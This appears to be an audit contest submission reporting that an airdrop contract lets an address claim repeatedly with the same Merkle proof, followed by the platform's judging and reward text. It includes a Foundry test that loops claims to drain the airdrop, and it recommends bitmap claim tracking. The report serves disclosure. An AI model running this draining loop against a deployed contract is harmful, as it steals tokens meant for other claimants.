Submission Details
Severity:
Malicious users can claim more tokens than deserved
Summary
Identified a significant vulnerability allowing users to claim more tokens than they are entitled to under the airdrop terms.
Vulnerability Details
The contract processes claims by verifying a Merkle proof provided by the claimant but does not check whether the address has already claimed their airdrop.
Impact
HIGH - Malicious users can deplete the entire token supply, denying access to legitimate claimants.
Tools Used
Foundry Unit Test:
Proof of Code
function testUsersCanClaimMoreThanAllowed() public {
uint256 totalTokens = token.balanceOf(address(airdrop));
uint256 claimedTokens = 0;
while (claimedTokens < totalTokens) {
uint256 balanceBeforeClaim = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee());
vm.startPrank(collectorOne);
try
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
)
{
uint256 balanceAfterClaim = token.balanceOf(collectorOne);
claimedTokens += balanceAfterClaim - balanceBeforeClaim;
assert(
balanceAfterClaim - balanceBeforeClaim == amountToCollect
);
} catch {
break;
}
vm.stopPrank();
}
uint256 endingBalance = token.balanceOf(collectorOne);
console.log("Total claimed tokens: ", endingBalance);
assert(endingBalance > amountToCollect);
}
</details>
## Recommendations
Claim Tracking via Bitmap: Implement a bitmap tracking mechanism in the contract to efficiently manage the state of claims. A bitmap allows the contract to record whether an address has already claimed their tokens by setting a bit corresponding to each address (or index in a list of claimants)
Updates
Lead Judging Commences
inallhonesty
about 1 year ago
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
multi-claim-airdrop
Rewards breakdown
nSLOC
62This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.